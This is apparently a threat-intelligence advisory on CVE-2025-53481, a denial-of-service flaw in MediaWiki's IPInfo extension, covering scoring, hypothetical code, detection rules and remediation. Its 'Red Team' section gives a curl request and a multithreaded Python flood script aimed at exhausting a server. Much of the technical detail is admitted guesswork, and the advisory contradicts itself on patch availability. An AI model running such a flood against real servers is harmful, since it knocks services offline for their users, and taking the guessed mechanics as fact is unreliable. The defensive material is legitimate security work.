CVE-2025-53481

Executive Summary

CVE-2025-53481 is an Uncontrolled Resource Consumption vulnerability (CWE-400) in the Wikimedia Foundation MediaWiki IPInfo Extension. This flaw allows an attacker to cause excessive resource allocation, leading to a denial of service (DoS) condition. The vulnerability affects MediaWiki versions 1.39.x before 1.39.13, 1.42.x before 1.42.7, and 1.43.x before 1.43.2. The IPInfo extension is used to display IP address information, and the vulnerability likely stems from improper handling of API requests or data processing, allowing an attacker to exhaust server resources (CPU, memory, or disk I/O). No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. However, the lack of a patch for some versions and the potential for resource exhaustion make this a significant concern for high-availability MediaWiki deployments.

Supply Chain & Package Security

This vulnerability is specific to the MediaWiki ecosystem and its IPInfo extension. MediaWiki is a PHP-based application, and the IPInfo extension is distributed through the MediaWiki extension repository. The supply chain risk is moderate, as the extension is a core part of the MediaWiki project but is not a standalone package from NPM, PyPI, Go, or Ruby. Administrators should verify the integrity of their MediaWiki installation and extension files, ensuring they are obtained from the official Wikimedia Foundation sources.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability description (Uncontrolled Resource Consumption leading to Excessive Allocation), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - An unauthenticated attacker can exploit this.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): None (N) - No data breach.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. While no active exploitation is reported, the potential for a remote, unauthenticated DoS attack against a widely used platform like MediaWiki (Wikipedia's engine) makes this a serious threat.

Deep Dive & Mechanics

The IPInfo extension in MediaWiki provides a user interface to display information about an IP address, such as its location, ISP, and organization. This functionality typically involves making API calls to external geolocation services or querying internal databases.

The vulnerability likely resides in how the extension handles API requests or processes data. An attacker could craft a malicious request that forces the extension to:

1. Allocate excessive memory: By requesting information for a large number of IP addresses in a single request, or by triggering a recursive or unbounded data retrieval process.
2. Consume excessive CPU: By sending requests that require complex or infinite loops in data processing.
3. Exhaust disk I/O: By causing the extension to write large amounts of log data or temporary files.

The specific mechanism is not publicly documented, but the "Excessive Allocation" description points to a memory exhaustion attack. This could be achieved by sending a request that causes the extension to allocate a large buffer or data structure without proper bounds checking.

Vulnerable vs. Patched Code

Since no specific code diff is available, we can infer the likely fix based on the vulnerability type.

Vulnerable Code (Hypothetical):

// In IPInfo extension, a function that processes IP addresses
function getIPInfo($ip) {
    // No limit on the number of IPs processed
    $results = [];
    foreach ($ip as $singleIP) {
        $data = fetchExternalAPI($singleIP);
        $results[] = $data;
    }
    return $results;
}

Patched Code (Hypothetical):

function getIPInfo($ip) {
    // Limit the number of IPs processed
    $maxIPs = 10;
    $ip = array_slice($ip, 0, $maxIPs);
    $results = [];
    foreach ($ip as $singleIP) {
        $data = fetchExternalAPI($singleIP);
        $results[] = $data;
    }
    return $results;
}

The patch likely introduces input validation, rate limiting, or resource quotas to prevent excessive allocation.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on a MediaWiki server running a vulnerable version of the IPInfo extension.

Prerequisites:

• A target MediaWiki instance (e.g., version 1.39.12) with the IPInfo extension enabled.
• Network access to the target.

Exploitation Steps:

1. Identify the IPInfo endpoint: The extension likely exposes an API endpoint, such as /w/api.php?action=ipinfo&format=json&ip=....
2. Craft a malicious request: Send a request with a large number of IP addresses or a specially crafted payload that triggers excessive allocation.

   # Example: Sending a request with many IPs
   curl "http://target/wiki/api.php?action=ipinfo&format=json&ip=1.1.1.1&ip=2.2.2.2&ip=3.3.3.3&ip=4.4.4.4&ip=5.5.5.5&ip=6.6.6.6&ip=7.7.7.7&ip=8.8.8.8&ip=9.9.9.9&ip=10.10.10.10&ip=11.11.11.11&ip=12.12.12.12&ip=13.13.13.13&ip=14.14.14.14&ip=15.15.15.15"
   

3. Automate the attack: Use a script to send multiple concurrent requests to amplify the resource exhaustion.

   import requests
   import threading
   
   target = "http://target/wiki/api.php"
   params = {
       "action": "ipinfo",
       "format": "json",
       "ip": ["1.1.1.1"] * 1000  # 1000 IPs in one request
   }
   
   def attack():
       while True:
           try:
               requests.get(target, params=params, timeout=5)
           except:
               pass
   
   for i in range(50):
       threading.Thread(target=attack).start()
   

Expected Outcome: The MediaWiki server becomes unresponsive or crashes due to memory exhaustion.

Blue Team

Objective: Detect and mitigate exploitation attempts.

Detection:

• Monitor for a high number of requests to the action=ipinfo API endpoint.
• Look for requests with an unusually large number of ip parameters.
• Monitor server resource usage (CPU, memory) for spikes.

Mitigation:

• Immediate: Apply the patch by upgrading MediaWiki to a fixed version.
• Workaround: Disable the IPInfo extension if upgrading is not immediately possible.
• Rate Limiting: Implement rate limiting on the API endpoint using a web application firewall (WAF) or server configuration.
• Input Validation: Ensure the extension validates the number of IP addresses per request.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of HTTP requests to /w/api.php with action=ipinfo parameter.
  • Requests containing a large number of ip parameters (e.g., > 10).
  • Unusual patterns of IP addresses in requests (e.g., repeated IPs, random IPs).
• System IOCs:
  • MediaWiki process consuming excessive memory (e.g., > 1GB).
  • High CPU usage by the web server (Apache/Nginx) or PHP-FPM.
  • Out-of-memory (OOM) killer logs showing the MediaWiki process being killed.
  • PHP error logs showing memory exhaustion errors (e.g., Allowed memory size of X bytes exhausted).

Detection Engineering

YARA Rule

rule CVE_2025_53481_IPInfo_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2025-53481 in MediaWiki IPInfo extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53481"
    strings:
        $api_endpoint = "action=ipinfo"
        $ip_param = "ip="
        $large_request = /ip=[^&]+&ip=[^&]+&ip=[^&]+&ip=[^&]+&ip=[^&]+/  // 5 or more ip params
    condition:
        $api_endpoint and #ip_param > 10
}

Sigma Rule

title: CVE-2025-53481 - MediaWiki IPInfo DoS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high number of IP parameters in requests to the MediaWiki IPInfo API, indicating a potential DoS attack.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "action=ipinfo"
        cs-uri-query|contains|all:
            - "ip="
            - "&ip="
    condition: selection and |count(cs-uri-query) by src_ip > 100 in 1m
falsepositives:
    - Legitimate bulk IP lookups from trusted sources.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53481 - MediaWiki IPInfo DoS Attempt"; flow:to_server; content:"action=ipinfo"; http_uri; content:"ip="; http_uri; pcre:"/ip=[^&]+&ip=[^&]+&ip=[^&]+&ip=[^&]+&ip=[^&]+/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade MediaWiki to version 1.39.13, 1.42.7, or 1.43.2, which contain the fix for this vulnerability.
2. Workaround: If upgrading is not possible, disable the IPInfo extension by removing or renaming the IPInfo directory in the extensions/ folder.
3. Network-Level Mitigation:
   • Configure a Web Application Firewall (WAF) to block requests with an excessive number of ip parameters.
   • Implement rate limiting on the /w/api.php endpoint.
4. System-Level Mitigation:
   • Set PHP memory limits (memory_limit) to a reasonable value to prevent a single request from exhausting all memory.
   • Monitor server resources and set up alerts for unusual spikes.
5. Long-Term:
   • Keep all MediaWiki extensions updated.
   • Regularly review and audit extension code for security vulnerabilities.

Valters IT - DevSecOps & Cyber Threat Intelligence